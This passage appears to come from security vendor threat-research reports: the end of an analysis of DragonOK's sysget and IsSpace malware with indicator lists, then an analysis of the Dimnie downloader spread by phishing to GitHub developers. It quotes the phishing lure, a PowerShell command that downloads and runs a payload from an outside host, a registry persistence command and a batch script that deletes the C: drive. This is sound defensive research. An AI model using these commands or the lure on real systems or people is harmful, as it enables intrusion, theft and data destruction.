+After this initial request to retrieve the victim identifier and unique key, sysget enters its command and control loop.
+This process is consistent with the previous version, but simply has the extra layer of encryption used for the URIs.
+Sysget v4 Analysis
+The fourth variant of sysget is nearly identical to the third variant. However, the main difference lies in the URIs used
+for network communication. In addition to the expected encryption of the URIs, this variant also mangles the base64
+encoding that is performed afterwards. The following Python script may be used to de-obfuscate the base64 URI
+found in this variant:
+17/23
+import base64
+URI Request:
+/5.php?62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0
+AMo+rT4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+
+BGFsc3wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed
+99 HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML,
+like Gecko) Chrome/40.0.2214.115 Safari/537.36
+Host: www.sanseitime.com
+uri_string =
+"62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0AMo+rT
+4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+BGFsc3
+wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed99"
+b64_string =
+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
+prefix_int = int(uri_string[0:2])
+out = ""
+for u in uri_string[2:]:
+ind = b64_string.index(u) - prefix_int
+out += b64_string[ind]
+decoded = base64.b64decode(out)
+Additionally, the C2 URI changes in this variant, from 1.php to 5.php
+IsSpace Analysis
+When initially run, IsSpace will create a unique event to ensure a single instance of the malware is running at a
+given time. This event name appears to be unique per the sample, as multiple samples contained unique event
+names. The following event names have been observed in the samples that were analyzed:
+e6al69MS5iP
+v485ILa3q5z
+IsSpace proceeds to iterate over the running processes on the system, seeking out the following two process
+substrings:
+uiSeAgnt
+avp.exe
+The uiSeAgnt string may be related to Trend Micro
+s solutions, while avp.exe most likely is related to Kaspersky
+anti-malware product.
+In the event uiSeAgnt is identified, the malware will enter its installation routine if not already running as 
+bfsuc.exe
+and proceeds to exit afterwards. Should avp.exe be identified, the malware enters an infinite sleep loop until a
+mouse click occurs. After this takes place, the malware proceeds as normal.
+18/23
+The malware then determines if it is running under Windows XP. In the event that it is, it will make a HTTP GET
+request to www.bing.com, presumably to ensure network connectivity.
+Figure 9 IsSpace connecting to www.bing.com
+If the malware is not running on Windows XP, it will attempt to obtain and decrypt any basic authentication
+credentials from Internet Explorer. This information is used in subsequent HTTP requests in the event a 407 (Proxy
+Authentication Required) or 401 (Unauthorized) response code is received during network communication.
+IsSpace will then enter its installation routine, where it will first copy itself to the %LOCALAPPDATA% folder with a
+name of 
+bfsuc.exe
+. It then sets the proper registry key for persistence by executing the following PowerShell
+command:
+C:\Windows\system32\cmd.exe /C Powershell.exe New-ItemProperty -Path
+HKCU:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run -Name Identity PropertyType String -Value c:\users\josh grunzweig\appdata\local\bfsuc.exe
+-force
+The malware then makes an initial HTTP POST request to the configured C2 server. It will make this request to the
+/news/Senmsip.asp
+ URI. The POST data is XORed against a key of 
+\x35\x8E\x9D\x7A
+, which is consistent with
+previous versions of IsSpace and NFlog. Decrypted, the POST data reads 
+01234567890
+. The C2 server in turn
+will respond with the victim
+s external IP address.
+Figure 10 Initial IsSpace beacon
+IsSpace then spawns two threads that will make HTTP requests to the following URIs:
+/news/Sennw.asp?rsv_info=[MAC_ADDRESS]
+/news/Sentire.asp?rsv_info=[MAC_ADDRESS]
+The 
+Sennw.asp
+ POST requests that are made contain collected victim information. They, like other information sent
+across the network, are encrypted using the previously mentioned 4-byte XOR key. When decrypted, we are
+provided with information such as the following:
+19/23
+60-F8-1D-CC-2F-CF#%#172.16.95.1#%#172.16.95.186#%#WINLJLV2NKIOKP#%#Win7#%#English(US)#%#2016-12-20
+16:27:12#%#Active#%#xp20160628#%#IsAdmins#%#False
+The information, delimited via 
+, is as follows:
+Value
+Description
+60-F8-1D-CC-2F-CF
+MAC address
+172.16.95.1
+External IP collected previously
+172.16.95.186
+Internal IP address
+WIN-LJLV2NKIOKP
+Hostname
+Win7
+Windows version
+English(US)
+Language
+2016-12-20 16:27:12
+Timestamp
+Active
+Malware status. May also be 
+Sleep
+xp20160628
+Potential campaign identifier
+IsAdmins / False
+User admin status
+The malware is expected to return one of the following two responses to this HTTP request:
+Active
+Slient (Note the typo)
+In the event the response of Slient is received, the malware will stop sending out HTTP requests to the 
+Sentire.asp
+URI. Conversely, if the malware is set to the 
+Sleep
+ status and the 
+Active
+ response is received, it will begin the
+Sentire.asp
+ requests once more.
+The requests to 
+Sentire.asp
+ act as the main C2 loop, requesting commands from the remote server. The
+commands are consistent with previously observed instances of IsSpace, however, the URIs have been modified.
+Command
+Description
+Response URI
+Executes command
+Sentrl.asp
+Browse
+List specified directory
+Senjb.asp
+UploadFile
+Upload file
+Sensp.asp
+DownLoad
+Download file
+Senwhr.asp
+20/23
+DelFile
+Delete file
+DragonOK Indicators
+Malicious RTF Documents
+020f5692b9989080b328833260e31df7aa4d58c138384262b9d7fb6d221e3673
+0d389a7b7dbdfdffcc9b503d0eaf3699f94d7a3135e46c65a4fa0f79ea263b40
+52985c6369571793bc547fc9443a96166e372d0960267df298221cd841b69545
+785398fedd12935e0ae5ac9c1d188f4868b2dc19fb4c2a13dab0887b8b3e220d
+941bcf18f7e841ea35778c971fc968317bee09f93ed314ce40815356a303a3ec
+ba6f3581c5bcdbe7f23de2d8034aaf2f6dc0e67ff2cfe6e53cfb4d2007547b30
+df9f33892e476458c74a571a9541aebe8f8d18b16278f594a6723f813a147552
+925880cc833228999ea06bd37dd2073784ab234ea00c5c4d55f130fe43a0940b
+3e4937d06ac86078f96f07117861c734a5fdb5ea307fe7e19ef6458f91c14264
+16204cec5731f64be03ea766b75b8997aad14d4eb61b7248aa35fa6b1873398b
+64f22de7a1e2726a2c649de133fad2c6ad089236db1006ce3d247c39ee40f578
+c3b5503a0a89fd2eae9a77ff92eef69f08d68b963140b0a31721bb4960545e07
+d227cf53b29bf0a286e9c4a1e84a7d70b63a3c0ea81a6483fdfabd8fbccd5206
+9190b1d3383c68bd0153c926e0ff3716b714eac81f6d125254054b277e3451fe
+d321c8005be96a13affeb997b881eaba3e70167a7f0aa5d68eeb4d84520cca02
+d38de4250761cb877dfec40344c1642542ca41331af50fa914a9597f8cc0ee9b
+5a94e5736ead7ea46dbc95f11a3ca10ae86c8ae381d813975d71feddf14fc07a
+bbdc9f02e7844817def006b9bdef1698412efb6e66346454307681134046e595
+IsSpace
+12d88fbd4960b7caf8d1a4b96868138e67db40d8642a4c21c0279066aae2f429
+1a6e3cd2394814a72cdf8db55bc3f781f7e1335b31f77bffc1336f0d11cf23d1
+C2 Domains
+www.dppline[.]org
+www.matrens[.]top
+C2 Domains
+europe.wikaba[.]com
+russiaboy.ssl443[.]org
+cool.skywave[.]top
+Sysget Version 2
+82f028e147471e6f8c8d283dbfaba3f5629eda458d818e1a4ddb8c9337fc0118
+C2 Domains
+newtw2016.kr44.78host[.]com
+Sysget Version 3
+02fc713c1b2c607dff4fc6c4797b39e42ee576578f6af97295495b9b172158b9
+a0b0a49da119d971fa3cf2f5647ccc9fe7e1ff989ac31dfb4543f0cb269ed105
+21/23
+b49cb2c51bc2cc5e48585b9b0f7dd7ff2599a086a4219708b102890ab3f4daf3
+b8f9c1766ccd4557383b6643b060c15545e5f657d87d82310ed1989679dcfac4
+d75433833a3a4453fe35aaf57d8699d90d9c4a933a8457f8cc37c86859f62d1e
+685076708ace9fda65845e4cbb673fdd6f11488bf0f6fd5216a18d9eaaea1bbc
+7fcc86ebca81deab264418f7ae5017a6f79967ccebe8bc866efa14920e4fd909
+c5c3e8caffd1d416c1fd8947e60662d82638a3508dbcf95a6c9a2571263bdcef
+C2 Domains
+gtoimage[.]com
+trend.gogolekr[.]com
+Additional Indicators
+Sysget Version 2
+a768d63f8127a8f87ff7fa8a7e4ca1f7e7a88649fe268cf1bd306be9d8069564
+2bf737f147e761586df1c421584dba350fd865cb14113eee084f9d673a61ee67
+2c7c9fd09a0a783badfb42a491ccec159207ee7f65444088ba8e7c8e617ab5a5
+d91439c8faa0c42162ea9a6d3c282d0e76641a31f5f2fbc58315df9c0b90059c
+89d8d52c09dc09aeb41b1e9fafeacf1c038912d8c6b75ad4ef556707b15641ff
+6c1d56cb16f6342e01f4ebfc063db2244aef16d0a248332348dcdb31244d32f2
+9c66232061fbb08088a3b680b4d0bffbbce1ce01d0ce5f0c4d8bf17f42d45682
+b138ea2e9b78568ebd9d71c1eb0e31f9cf8bc41cd5919f6522ef498ffcc8762a
+8830400c6a6d956309ac9bcbcceee2d27ba8c89f9d89f4484aba7d5680791459
+bda66f13202cef8cfb23f36ac0aee5c23f82930e1f38e81ba807f5c4e46128e3
+e8197e711018afd25a32dc364a9155c7e2a0c98b3924dc5f67b8cd2df16406ff
+e9c0838e2433a86bc2dec56378bd59627d6332ffb1aec252f5117938d00d9f74
+c63685b2497e384885e4b4649428d665692e8e6981dad688e8543110174f853b
+2c9c2bfea64dd95495703fcec59ad4cf74c43056b40ed96d40db9b919cfd050b
+94850525ea9467ae772c657c3b8c72663eaa28b2c995b22a12b09e4cacecad6d
+e8bd20e3d8491497ca2d6878b41fb7be67abb97ee272ef8b6735faa6acd67777
+C2 Domains
+hello.newtaiwan[.]top
+bullskingdom[.]com
+mail.googleusa[.]top
+www.modelinfos[.]com
+modelinfos[.]com
+www.sanspozone[.]com
+Sysget Version 3
+f9a1607cdcfd83555d2b3f4f539d3dc301d307e462a999484d7adb1f1eb9edf6
+7f286fbc39746aa8feeefc88006bedd83a3176d2235e381354c3ea24fe33d21c
+3b554ef43d9f3e70ead605ed38b5e66c0b8c0b9fc8df16997defa8e52824a2a6
+8d7406f4d5759574416b8e443dd9d9cd6e24b5e39b1f5bc679e4a1ad54d409c6
+edf32cb7aad7ae6f545f7d9f11e14a8899ab0ac51b224ed36cfc0d367daf5785
+db19b9062063302d938bae51fe332f49134dc2e1947d980c82e778e9d7ca0616
+cde217acb6cfe20948b37b16769164c5f384452e802759eaabcfa1946ea9e18b
+9bee4f8674ee067159675f66ca8d940282b55fd1f71b8bc2aa32795fd55cd17e
+22/23
+39539eb972de4e5fe525b3226f679c94476dfc88b2032c70e5d7b66058619075
+c45145ca9af7f21fff95c52726ff82595c9845b8e9d0dbf93ffe98b7a6fa8ee9
+55325e9fccbdada83279e915e5aeb60d7b117f154fa2c3a38ec686d2552b1ebc
+2c7d29da1b5468b49a4aef31eee6757dc5c3627bf2fbfb8e01dec12aed34736a
+16dc75cf16d582eac6cbbe67b048a31fffa2fb525a76c5794dad7d751793c410
+91eee738f99174461b9a4085ea70ddafc0997790e7e5d6d07704dcbbc72dc8bf
+4a702ffbf01913cc3981d9802c075160dfd1beed3ba0681153d17623f781f53f
+e8bed52c58759e715d2a00bdb8a69e7e93def8d4f83d95986da21a549f4d51c5
+ed5598716de2129915f427065f0a22f425f4087584e1fa176c6de6ad141889d1
+adc86af1c03081482fe9ba9d8a8ae875d7217433164d54e40603e422451a2b90
+f0540148768247ed001f3894cdfa52d8e40b17d38df0f97e040a49baa3f5c92e
+ce38a6e4f15b9986474c5d7c8a6e8b0826330f0135e1da087aae9eab60ea667a
+5c4e98922e6981cf2a801674d7e79a573ebcdc9ebc875ef929511f585b9c4781
+4880b43ddc8466d910b7b49b6779970c38ce095983cad110fa924b41f249f898
+76b6f0359a3380943fece13033b79dc586706b8348a270ac71b589a5fd5790a4
+feab16570c11ec713cfa952457502c7edd21643129c846609cb13cdc0ae4671c
+ed9ca7c06aac7525da5af3d1806b32eeb1c1d8f14cc31382ca52a14ed62f00a9
+a3aa4b3b3471b0bb5b2f61cbc8a94edef4988436e0bc55e9503173c836fb57a3
+29ee56ca66187ece41c1525ad27969a4b850a45815057a31acee7cc76e970909
+65201380443210518621da9feb45756eac31213a21a81583cc158f8f65d50626
+cccb906d06aef1e33d12b8b09c233e575482228d40ac17232acad2557da4e53b
+C2 Domains
+gtoimage[.]com
+trend.gogolekr[.com
+www.bestfiles[.]top
+Sysget Version 4
+2ac8bc678e5fa3e87d34aee06d2cd56ab8e0ed04cd236cc9d4c5e0fa6d303fa3
+8dc539e3d37ccd522c594dc7378c32e5b9deeffb37e7a7a5e9a96b9a23df398e
+C2 Domains
+www.sanseitime[.]com
+23/23
+Dimnie: Hiding in Plain Sight
+researchcenter.paloaltonetworks.com /2017/03/unit42-dimnie-hiding-plain-sight/
+By Brandon Levene , Dominik Reichel and Esmid
+Idrizovic
+3/28/2017
+A note to readers: The code samples included within this blog
+post may trigger alerts from your security software. Please note that this
+does not indicate an infection or an attack; rather, it is a notification that the code could be malicious if it were live.
+Introduction
+In mid-January of 2017 Unit 42 researchers became aware of reports of open-source developers receiving malicious
+emails. Multiple owners of Github repositories received phishing emails like the one below:
+Hello,
+My name is Adam Buchbinder, I saw your GitHub repo and i'm pretty amazed.
+The point is that i have an open position in my company and looks like you
+are a good fit.
+Please take a look into attachment to find details about company and job.
+Dont hesitate to contact me directly via email highlighted in the document below.
+Thanks and regards,
+Adam.
+Though there were multiple waves of messages following a similar tactic, each one carried the same malicious .doc file as
+an attachment (SHA256: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e). This file contained
+embedded macro code that executed a commonly observed PowerShell command to download and execute a file.
+Figure 1. The attackers used a common technique to try to avoid static detection by introducing characters which the
+Windows shell will ignore but static engines will typically see as part of the string.
+A more readable version of the PowerShell code is shown below:
+cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object
+system.net.webclient).downloadfile('hxxp://nicklovegrove.co[.]uk/wpcontent/margin2601_onechat_word.exe','%appdata%.exe');start-process '%appdata%.exe'"
+On initial inspection, everything appears to follow the same formula as many 
+traditional
+ malware campaigns: e-mail lure,
+malicious attachment, macro, PowerShell downloader, and finally a binary payload (SHA256:
+3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22). Examining the payload
+s communications
+caused us to raise our eyebrows.
+Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for
+several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control
+mechanisms. The malware family serves as a downloader and has a modular design encompassing various information
+stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis.
+During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined
+with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.
+1/35
+Hidden Requests
+Let us dive right in and have a look at a typical HTTP request from Dimnie to its command and control infrastructure.
+Figure 2. Initial HTTP GET request from the compromised client and the server
+s reply. The HTTP payload is truncated in
+this image.
+Does this malware use a (now-defunct) Google service to aid its initial phone home? Not quite. Examining the HTTP
+request, this appears to be an HTTP Proxy request, as described by RFC2616:
+The absoluteURI form is REQUIRED when the request is being made to a proxy. The proxy is requested to
+forward the request or service it from a valid cache, and return the response. Note that the proxy MAY
+forward the request on to another proxy or directly to the serverspecified by the absoluteURI. In order to
+avoid request loops, a proxy MUST be able to recognize all of its server names, including any aliases, local
+variations, and the numeric IP address. An example Request-Line would be:GET
+http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1To allow for transition to absoluteURIs in all
+requests in future versions of HTTP, all HTTP/1.1 servers MUST accept the absoluteURI form in requests,
+even though HTTP/1.1 clients will only generate them in requests to proxies.
+Dimnie uses this feature to create a supposedly legit HTTP proxy request to a Google service. However, the Google
+PageRank service (toolbarqueries.google.com) has been slowly phased out since 2013 and as of 2016 is no longer open to
+the public. Therefore, the absolute URI in the HTTP request is for a non-existent service and the server is not acting as a
+proxy. This seemingly RFC compliant request is merely camouflage.
+We know what it isn
+t, so we will dive deeper to figure out what is happening underneath the camouflage layer. Start by
+having a look at the DNS request that immediately preceded this HTTP GET request.
+2/35
+Figure 3. DNS request issued prior to the HTTP request above.
+It looks pretty normal, but we can see an authoritative nameserver returning an IP address, 176.9.81[.]4, which is
+highlighted in the image below.
+Figure 4. Nameserver responds to a Type A query with a valid response.
+While it may not seem so at first glance, this DNS query is related to the initial GET request to Google. Below is the raw hex
+of the IP header of the HTTP request above:
+Figure 5. Raw Hex of the IP Header from the HTTP GET request for Dimnie
+s initial phone home.
+The answer (176.9.81[.]4) from the initial DNS request for onechat[.]pw is used as the destination IP for the follow up HTTP
+request that appears to connect to toolbarqueries.google.com. Sending the request to an entirely different server is not
+complicated to achieve, but how many analysts would simply see a DNS request with no [apparent] related subsequent
+traffic? That is precisely what Dimnie is relying upon to evade detections.
+3/35
+What the GET?
+Since we have established the HTTP GET request to be largely falsified for camouflage purposes, we can now proceed to
+pick apart the initial outbound HTTP traffic. The contents of the HTTP GET parameter are reproduced below:
+GET http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-autoff&ch=fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm&q=info:google.com
+HTTP/1.1
+This GET request contains a single piece of data used by the malware: the contents of the 
+ parameter which is base64
+encoded.
+fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm
+Decoding the 
+ parameter yields us a AES key which Dimnie uses to decrypt payloads. The attacker uses AES 256 in
+ECB mode to encrypt payloads which are push to a compromised host and decrypted.
+The code below illustrates, in Python, the method we used to derive this key.
+>>> import binascii
+>>> import base64
+>>> from Crypto.Cipher import AES
+>>> a = "fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm"
+>>> b = base64.b64decode(a)
+>>> decryptor = AES.new('\0' *32, AES.MODE_ECB)
+>>> c = decryptor.decrypt(b)
+>>> binascii.hexlify(c)
+'cda59f1670cf48bf0000000011217350b14b3f2d4c6001006fb3b0fb00000000adf1de43000000000000000000000000'
+>>> key = c[4:8] + ('\0' * 28)
+>>> binascii.hexlify(key)
+'70cf48bf00000000000000000000000000000000000000000000000000000000'
+Besides the HTTP payload, which is an AES 256 ECB encrypted PE file (after decrypting, SHA256:
+6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf), the server reply contains only one other
+HTTP header that seems to be used by the malware; the Cookie value sent back from the C2 server. This Cookie is a 48
+byte, base64 encoded, AES 256 ECB encrypted series of UINT32 values pertaining to the payload (when requested) or
+outbound data (HTTP POSTs, see next section) as can be seen below (comments appended after //.)
+struct DimnieInformation
+UINT32
+dwUnknown1; // 0x00:
+UINT32
+dwAesKey;
+// 0x04: Final AES encryption key is: Key + (28 * '\0')
+UINT32
+dwUnknown3; // 0x08: Not used for encryption.
+UINT32
+dwUnknown4; // 0x0C:
+UINT32
+dwUnknown5; // 0x10: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
+UINT32
+dwUnknown6; // 0x14:
+UINT32
+dwKey2;
+// 0x18: Not used for encryption.
+UINT32
+dwFileSize; // 0x1C: File size if file has been downloaded.
+UINT32
+dwUnknown9
+// 0x20: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
+UINT32
+dwType;
+// 0x24: Type of sent/received data.
+UINT32
+dwCRC;
+// 0x28: CRC of the received data.
+UINT32
+dwModuleID; // 0x2C: Module ID of the downloaded module
+Here is a list of possible types which may be found at offset 0x24:
+Value
+Description
+4/35
+0x00000000
+Main PE module received.
+0x00000001
+16 byte information sent to C2, probably PING/PONG.
+0x00000002
+PE Module received.
+0x000003a4
+Get module.
+0x000003a6
+Get main module.
+0x00002000
+Running process.
+0x00003000
+PC Information (Computer name, language, network card, 
+0x00038000
+Keylogger data
+0x00058000
+Screenshots in PNG.
+0x00018000
+Unknown.
+0x00098000
+Unknown.
+0x00418000
+Unknown.
+0x00118000
+Unknown.
+0x00218000
+Unknown.
+0x00818000
+Unknown.
+0x02000000
+Unknown.
+The values contain a preset, defined size for the payload as well as an expected CRC32 value. Effectively, the Cookie
+parameter is used to verify the payload
+s integrity during the module downloader portion of the malware
+s lifecycle. When
+the Cookie value is included in later C2 traffic, it is primarily used to identify the type of data being sent back to the server
+and the reporting module.
+More Camouflage
+Data exfiltration by the associated modules is performed using HTTP POST requests to another Google domain,
+gmail[.]com. However, just like the module downloader portion of the malware, these HTTP requests are hardcoded to be
+sent to an attacker controlled server. Again, Dimnie attempts to blend in by looking at least somewhat legitimate, although
+the data exfiltration traffic is far less convincing than that of the module downloads.
+5/35
+Figure 6. HTTP POST request with encrypted data.
+Once again, the data is appended to an image header and encrypted using AES 256 in ECB mode. The Cookie value
+follows the same structure provided in the previous section. This initial push contains system information as can be seen in
+the decrypted output below (data enclosed in brackets has been edited):
+[netbios name]
+WORKGROUP
+HomeGroupUser$
+[Hostname]
+[Language]
+10.0.2.15 (08-00-27-D9-83-51) 'Intel(R) PRO/1000 MT-Desktopadapter'
+PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18
+Administrator (0x10203)
+[Username] (0x10223)
+HomeGroupUser$ (0x10201)
+[Hostname] (0x10221)
+During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and
+process activity lists which were encrypted and appended to a false JPEG header as described previously.
+6/35
+Figure 7. Process activity list, post-decryption.
+Decoding the Traffic
+Now that we understand how Dimnie retrieves its modules and how it protects them, we can use the derived AES key to
+decode the observed payloads from our PCAP data. The payloads themselves are never written to disk as they are
+downloaded and subsequently injected directly into memory. The module ID is stored at offset 0x2C as a 32 byte value in
+the Cookie field, however to calculate the 
+true
+ module ID we must use the following formula using the key found at offset
+0x04 in the cookie: uModuleID = uID 
+ uKey. Below is a table of observed module IDs, their functions, and type of
+information as referenced by the Cookie Header (at offset 0x24):
+Module
+Function
+Information Value
+0x20001
+Main module: downloads other modules and injects them into memory.
+0x20002
+DLL module which exports SvcMain and is injected into another process.
+0x20003
+Contains 58 bytes in front of the DOS header. Purpose unknown. Appears to be N/A
+a copy of the main module.
+0x20004
+Extracts PC information and sends it back to C2.
+0x03000
+0x20005
+Enumerates running processes and sends the list back to the C2.
+0x2000
+0x20006
+Module that can logkey strokes, take screenshots, interact with smartcards and
+more. Uses RegisterRawInputDevices/GetRawInputData for logging keys.
+0x38000, 0x418000,
+0x818000, 0x98000,
+0x118000, 0x218000,
+0x58000
+0x20007
+Keylogger module which has two PE files appended. Both PE files contain the
+same functionality but are different architecture (x86 and x64). It sends back
+the logged keys and clipboard data to the C2
+0x38000
+0x20008
+Module that can take screenshots and send them back to the C2.
+0x58000
+0x20009
+Self-destruct module which deletes all files on the C:\ Drive.
+0x02000000
+The self-destruct module, 0x20009, drops and executes the following batch script:
+7/35
+@echo off
+Title System need to reboot computer!
+color 0c
+Echo Auto Starting in 5 seconds
+@ping 127.0.0.1 -n 5 -w 1000 > nul
+@ping 127.0.0.1 -n %1% -w 1000 > nul
+Color 0e
+Echo delete disk C
+del C:\\ /s /q
+@ping 127.0.0.1 -n 3 -w 1000 > nul
+@ping 127.0.0.1 -n %1% -w 1000 > nul
+color 0c
+Echo Remove directory
+Rd C:\\ /s /q
+@ping 127.0.0.1 -n 3 -w 1000 > nul
+@ping 127.0.0.1 -n %1% -w 1000 > nul
+Msg * \SYSTEM ERROR!HARDDRIVE IS OUT OF ORDER!\;
+The primary purpose of the modules we
+ve observed observed is information stealing and reconnaissance. It should be
+noted that Dimnie
+s modular framework allows for a variety of capabilities to be accessed by its operators, thus the modules
+observed during the analyzed campaign may not encompass all available functionality.
+Conclusion
+The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous
+Dimnie targeting tactics. Multiple factors have contributed to Dimnie
+s relatively long-lived existence. By masking upload
+and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders
+ assumptions about
+what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian
+speakers, likely allowed Dimnie to remain relatively unknown.
+Customers are protected by IPS, Dimnie is detected as malware by Wildfire, and Autofocus customers can see related
+samples using the Dimnie tag.
+We are also including IOCs for this malware family dating back to 2014 which include domains from DNS lookups
+(Appendix A) and dropper hashes (Appendix B). IOCs specifically mentioned in this post are included in the next section.
+IOCs Mentioned in this Report
+ve purposefully omitted legitimate domains and IPs from this listing.
+Initial Phishing Email: b70a17d21ec6552e884f01db47b4e0aa08776a6542883d144b9836d5c9912065
+Malicious .doc file: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e,
+Dimnie loader: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22,
+Sample decrypted main module: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf
+Appendix A: Associated SHA256 Hashes
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+8/35
+1b5e57fa264b2ce145b39f9fc2279b21f6b212aeca8eaa27f68cdcdbdef1900f
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+9/35
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+10/35
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+66cbe12b2b6e8869bc5399f96aa73ebc949de0530030f358cca48077aae0b294
+d9ee7be833f760311805e92c7b9c448d2c609f258997038383cb337d8183fe71
+14ff515a168fb6649f58c4a9d86531b151187df3bfdd1589cbc9804d3a1ec7c9
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+3e30805f1de04950d50d08176c8ac3c2974b42b30913c9aa11693d1a0e34b98a
+3cada2c960ec431d0f13edcbee4dcfef1dcbdce0538b511f110cbee2e6470722
+cec7a9270993443ed9cd798a3ac64693195805a410f56468518fa48cf5923876
+9003bfa0553e0e027105f822d08a82050854ecf6488db4d3c412d6996b1bf632
+5e139ca25b1519cc28a8096cb28d2be69f57b1af037674a81902f9c605777543
+f40f1dda30d5f959bc21b0049432c53bb06992c7c8fdd5e886a9b3a0fab06877
+b2a2d63c68fce4d4bfddd4fd8584b6c638ee26664785df436c48ffa16e177893
+fa91599afa18eff9735b0c0328c8cb0fc305f8d924ebb36a609e50e4a6ab256c
+0a31bfdc22ff3cea5a160b2c32a98764027be7512ced50825d1be0b93a7e7aa4
+6bd3c86cb1f04d08407fccda35b0dd2fc8bd83a3c10f913dded93b4bbba182c9
+0909f8383cd77107234b5c1aa1c80a1f1bc2e8a2832284ff3de6636d5ed16b8a
+9dde31f29d5180b26eb93dfe2fc07bae76f929b8d3add20fc577033ae234b437
+28e888ec5247511d01df376f4be7e08c64841df37d9846580e87145c8efbbd10
+5693592ed69ca1cf0a5f8dcf8f548c063da287ce3e164a89df720a39a290feea
+1b6651a523be1c42f779877ad11f3b52130686aad4fd4ecdfbc15afbcea56aa2
+6d99f010c237fec5ff022cdf2f0df8b26429c1d5f223ca4f1658fc833c9cef3e
+46089e4e9aebf5fd5ad1ffaecb3bee5d7490f2cc53b5ed66b7509282ca29438b
+998481fbb26e890b83e1738ee12281103ca77775a20c1c6f1705eb6552237e3b
+4b373c2d50e600fdae5259bbd3e989d002a776c443869b92afeb5d53b73bd1c0
+1f376d4c4febcafa6bdcf8877121c20697046c15f71983a9210762fbf3b5455e
+0321f7948476480ab1875ccdeac46c37a58c2f60d63d2a787bdcf292ff2a5685
+3bb134617af6f7b0f0c483b315f7ea45b2ed2c4a91005b453c9ec9e86ef0d70b
+20/35
+dad5e918c4ce849f682485bd79e097ac097b554daa897b12151b4595d67980aa
+7b801c415f2fb9210c4d89e7d6332c1a812defe78b234d658b60f9337b8f4266
+75285821f9997b304058e8bf76c7c3f9f4abcf47e0dffea73d6256f657b9e778
+210024ece45a6935da89ab7c5ae3293616679414e96e2157e49f9f607c831bdc
+97bbfb81f930d138ff47c3b899eee6917802385b8c8c1626a7679c5cab41c4a2
+cbc9e5552cda22130cd7a84cd4b3c68e95eb3f8c2e83dd77253bd1822d1f840d
+bf00cd1bc34ce457b0e4a99a8df5b7fda512496dc32f2762923254bc85261afb
+9de260dcfe2f5a852c0cff238ffc3fe3fc93feff008463af49f68c9f5b5ebc9b
+cadb1646563a317ac72579e8691c464bab439667811fb0d850bc2e950a3a332c
+dd3d708ba8ce177fd1f756ac5eb3347a0ec7cf65706438ea5bbdfe9125b0dbe4
+31df6ec1089e720c09e29f35ce33203359128c99cc0e4b03ec3e38237e8151ff
+e349394a043e11410ed3e7c35c70d85dbb9c5e512b593e51e1acde3b404414a2
+dddb5843c775ae47b37fd02c378699b4e250ac32739f30e0949bdaa28050a595
+42da6fd7f6ba8b90ffd1298d068045c7928cef6506642e69859e0b962b5864a8
+e6624eb4520d41516f64aa64a00ee224c8bf257403a12a9665d552348dad1bd5
+79ca3b8afac2ca896d7db2110789a187ad75810e2d92aa6f0378f73c1f72006f
+ad08a0e1dace8d5a443a4bd21ec8d935e267f364ae1b152edaccb0b1f82870d7
+b87ada7c17cdb5b7c3cf1e6a0d35515c62112126f2f983c1190a6d9d1060b7db
+2ec204d0f35404c2548ac3dbc7b02e5db7ba28d4bc5c701986f0bfcee2a5fa5a
+77e1dfaeb73c4edf762f9503c428c1d92af6882b48305f5f5b070ec136575e43
+610d37dfb3089b516e4bced89de0c5161614d50ca511853f7be81138dfc4e844
+60ff74d053037b5ae70eeaf199a0acba35f58d275d12915ae8ed813dbf9a5b55
+376943f886b264824f6063e7dfc54a1a2d5071a3d44dec05208596079d6cf276
+89d4d851e6729a854fccb4d4f9277f9f545396714ff2b108d29c7ff418a501a3
+18db52a63720187b2afd57667e9ebdcb0a50a8e99909340281dcd07e266d761f
+bb05a0d905b915e2e84a8e69c2af438f72730131c5a1e3e1fe85df13c61182ac
+187155b727346d63c1b1c8e4e3ae88aed89746a4a323b5170139fa5aa760b3a3
